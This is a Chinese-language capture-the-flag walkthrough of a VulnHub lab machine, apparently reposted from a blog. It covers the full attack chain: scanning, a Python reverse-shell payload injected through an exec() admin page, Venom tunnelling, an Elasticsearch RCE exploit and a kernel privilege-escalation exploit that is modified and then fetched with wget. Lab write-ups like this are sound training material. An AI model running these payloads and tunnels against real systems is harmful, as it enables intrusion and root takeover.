靶机说明

1)靶机地址:

https://www.vulnhub.com/entry/boredhackerblog-social-network,454/

2)难度:中等

3)虚拟机软件推荐:virtualBox

4)本次涉及攻击手段:主机发现、端口扫描、服务发现、路径爬取、代码注入、Shell脚本、内网信息收集、内网穿透、漏洞利用、密码破解、本地提权、攻击代码修改

打靶过程

1)因靶机与kali主机都处于同网段仅主机模式,所以主机发现,首选二层主机发现工具arp-scan

# arp-scan -l

2)对发现的主机进行全端口扫描:发现开放了22

# nmap -p- 192.168.56.107

3)对发现的端口进行服务发现,因为并不能确定上述两个端口上面运行的是什么服务、服务版本

# nmap -p22,5000 -sV 192.168.56.107

​通过扫描发现5000端口上运行了一个httpd的web服务,且使用了基于python开发的werkzeug底层web框架,且目标系统使用的python版本是2.7.15

4)通过访问扫描到的web页面

http://10.0.2.17:5000

通过检查该页面无任何漏洞

5)对网站进行常规操作:对web应用程序路径进行发现,因为web应用程序常常在内部会包含一些隐藏的路径或隐藏的页面,这些隐藏页面或隐藏路径可能存在可以输入数据的函数的提交点

# dirsearch http://10.0.2.17:5000

发现了一个/admin的路径

6)对发现的路径进行访问:访问后发现是一个管理界面,该界面可以进行代码的执行,即输入框中输入的内容都会被交给exec()函数去执行

http://10.0.2.17:5000/admin

注:如果web应用程序过滤不严格,可以对输入的代码过滤不严格,可以利用代码执行的功能直接执行一个反弹shell的操作

7)通过前面扫描发现该网站是通过python开发的,所以此时可以使用python的代码执行功能,向表单中注入python代码来触发一个反弹的shell

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.0.2.7",4444))
os.dup2(s.fileno(),0)       
os.dup2(s.fileno(),1)       
os.dup2(s.fileno(),2)       
p=subprocess.call(["/bin/sh","-i"])

代码含义:通过导入系统默认的函数库,通过这些库去反弹连接kali:10.0.2.7主机的4444端口,通过这个连接,最后执行/bin/sh

8)在kali主机进行监听4444端口

#nc -lvvp 4444

9)虽然 上面获取到了root权限,但是因存在dockerfile文件(标准化部署docker容器的模板文件),由此可怀疑上述获取的系统只是一个docker容器的系统

#cat Dockerfile

10)100%确定该系统是一个docker容器运行的系统,

①查看根目录下是否存在dockerenv文件,存在90%说明是一个docker容器系统

②查看/proc/1/cgroup下是否有类似如下文件,如果有说明一定是一个容器系统。因为linux系统启动之后,pid为1表示该计算机系统上的初始化进程的ID,当初始化进程的cgroup文件包含着明确的docker镜像主机的指示信息,则100%可证明当前系统是一个docker容器,而且docker容器的hash值就是一长串字符

注:判断获取的系统权限是docker容器后,需要从docker容器当前隔离的环境下突破出来,找到宿主机,在对宿主机漏洞的利用拿到宿主机的最高权限

11)先查看当前docker容器的IP地址

此时可以将docker容器所处的网段视为当前这个网络中的内网网段,既然有内网网段,就可以在该内网网段中进一步发现该内网中有没有其他主机?如果存在其他主机,那会不会存在一些已知的漏洞?可不可以利用这些漏洞?进一步获得已知的信息,攻击更多的内网系统?

12)内网主机发现

①最简单方法:一个一个ping

②利用脚本,对内网主机进行扫描:先定义一个序列,在利用循环进行扫描,此处只扫描10个IP,对每一个IP发生一个ping包

# for i in $(seq 1 10); do ping -c 1 172.17.0.$i; done

发现了在内网主机发现了两个IP:172.17.0.1、172.17.0.2,此时对上述两个主机进行端口扫描,

问题:但是该网络处于一个内网网段,直接通过kali中的攻击工具对内网网段进行扫描网路不可达,要解决该问题,需要使用一种内网穿透技术,把kali到内网的路由打通

13)此处使用venom工具,在内网和kali主机之间建立一条隧道,基于该隧道生成一个代理,让其他工具可以通过代理去扫描内网主机

14)先将venom的客户端程序,传输到目标主机运行,再执行服务端程序,使得目标主机和kali主机之间建立一条隧道

①服务端:先在kali主机启动一个httpd的web服务

# cd Venom.v1.1.0/
# cp agent_linux_x64 a
# python3 -m http.server 80
# ./admin_linux_x64 -lport 9999

②客户端:获取客户端程序

#wget http://10.0.2.7/a
#chmod +x a 
#./a -rhost 10.0.2.7 -rport 9999

14)连接成功后,在服务端中进入节点,并在该节点启动一个socks的监听

>>>show
>>>goto 1
>>>socks 1080

15)为了使得kali主机上的所以工具都可以挂代理访问内网,需要使用proxychains工具,利用proxychains工具挂载配置的socks代理,让kali工具都可以利用该代理去攻击内网主机

#vim /ect/proxychains4.conf
[ProxyList]
socks5 127.0.0.1 1080

16)对内网进行扫描

①先对172.17.0.1进行扫描

# proxychains nmap -Pn -sT 172.17.0.1

发现该主机开发端口和最先扫描的靶机10.0.2.17的端口一致,此时对该主机的端口进行服务版本的扫描

# proxychains nmap -p22,5000 -sV -Pn -sT 172.17.0.1

在浏览器使用带来,对该内网地址进行访问,发现和访问10.0.2.17的结果一模一样

总结:根据以上发现,说明172.17.0.1就是10.0.2.17这台宿主机,只不过172.17.0.1是面向容器内网的IP地址,所以 该主机就是我们要攻击的目标主机

②对172.17.0.2进行端口扫描:发现了9200端口,该端口是elasticsearch的默认端口

#proxychains nmap -Pn -sT 172.17.0.2

对172.17.0.2的9200端口运行的服务进行扫描

#proxychains nmap -Pn -St -p9200 -sV 172.17.0.2

通过扫描发现9200运行的服务确实是Elasticsearch,且版本为1.4.2,Elasticsearch在历史版本上曾经出现过很严重的漏洞(RCE漏洞),此处可以怀疑该版本是否存在漏洞?如果存在漏洞又怎么利用?

17)在kali上搜索elasticsearch关键词

# searchsploit Elasticsearch

18)将前两个漏洞利用代码拷贝下来,按个尝试,执行完毕后,又发现获取到了一个root权限

# cp /usr/share/exploitdb/exploits/linux/remote/36337.py ./
# proxychains python2 36337.py 172.17.0.2

19)在其根目录下,发现了一个passwords文件,查看其文件内容

#cd /
#ls
#cat passwords

20)对上述密码hash值对其进行解密

21)利用ssh对刚才获取到的用户名和密码进行登录

#ssh john@10.0.2.17

22)查看能否提示sudo权限,该用户没有任何sudo权限

$ sudo -s 

23)通过之前发现该系统的内核为3.13

24)尝试利用内核漏洞进行提权,先搜索3.13,出现很多漏洞利用代码,挑选其中一个复制到本地

# searchsploit 3.13
#cp /usr/share/exploitdb/exploits/linux/local/37292.c ./

25)简单查看代码发现,该利用代码需要gcc编译,且在利用过程中同样需要gcc,但是在目标系统中是没有安装gcc的,所以即使在kali主机将代码编译后,业务发在目标主机正常运行

​上述源码中再次调用了gcc去查找到另外一个C语言的库文件/tmp/ofs-lib.c,再将该库文件编译成对应的/tmp/ofs-lib.so文件,然后在整个的漏洞利用过程中,再次加载ofs-lib.so文件

26)此时需要对代码进行简单修改:在kali中直接找到二进制的库文件ofs-lib.so,然后修改源码,当执行到该位置的时候,不在需要通过gcc去编译,而是直接调用库文件

# vim 37292.c

17)在kali直接编译37292.c文件,编译生成exp文件

# gcc -o exp 37292.c

18)在kali主机找当ofs-lib.so库文件

# locate ofs-lib.so
# cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so ./

19)将exp和ofs-lib.so文件下载到目标主机

①先在kali主机启动httpd服务

# python3 -m http.server 80

②在目标主机下载文件,并执行

#wget http://10.0.2.7/exp
#wget http://10.0.2.7/ofs-lib.so
#mv * /tmp
#cd /tmp
#chmod +x exp
#./exp
#id

总结:面对靶机,先进行了主机发现,之后针对已经发现的主机进行了端口扫描以及服务的扫描,当扫描结束之后,发现目标主机存在5000端口的web应用,尝试访问web应用,在web应用下没有收获任何漏洞,之后对web应用进行路径发现,发现了一个/admin的后台页面,在该后台地址发现了远程代码执行漏洞,利用反弹shell获取到了一个root权限,但是该root权限是一个容器系统,然后基于该容器系统对其内网的Ip地址段进行发现,发现过程中,识别出两个内网主机的IP地址,之后挂取代理进行内网穿透,对这两个地址进行全端口扫描,在扫描过程中,发现了在一台主机上发现了9000端口,该端口是Elasticserch的默认端口,又都Elasticserch进行漏洞的利用和攻击,成功拿下了172.17.0.2这台主机,在这台主机中发现了passwords这个文件,对其进行解密后,利用发现的用户名和密码对目标主机进行尝试登录,登录后发现只是一个普通用户权限,因目标主机使用的是内核较老的linux发行版,所以此时使用最直接的提权方法:针对内核的提权。但是漏洞利用代码无法直接在目标系统进行gcc的编译,所以只能修改代码,重新编译,然后将编译后的代码和库文件一起传输的目标系统,然后进行提权,获取到root权限

原文地址:http://www.cnblogs.com/piaolaipiaoqu/p/16926378.html

1. 本站所有资源来源于用户上传和网络,如有侵权请邮件联系站长! 2. 分享目的仅供大家学习和交流,请务用于商业用途! 3. 如果你也有好源码或者教程,可以到用户中心发布,分享有积分奖励和额外收入! 4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务请大家谅解! 5. 如有链接无法下载、失效或广告,请联系管理员处理! 6. 本站资源售价只是赞助,收取费用仅维持本站的日常运营所需! 7. 如遇到加密压缩包,默认解压密码为"gltf",如遇到无法解压的请联系管理员! 8. 因为资源和程序源码均为可复制品,所以不支持任何理由的退款兑现,请斟酌后支付下载 声明:如果标题没有注明"已测试"或者"测试可用"等字样的资源源码均未经过站长测试.特别注意没有标注的源码不保证任何可用性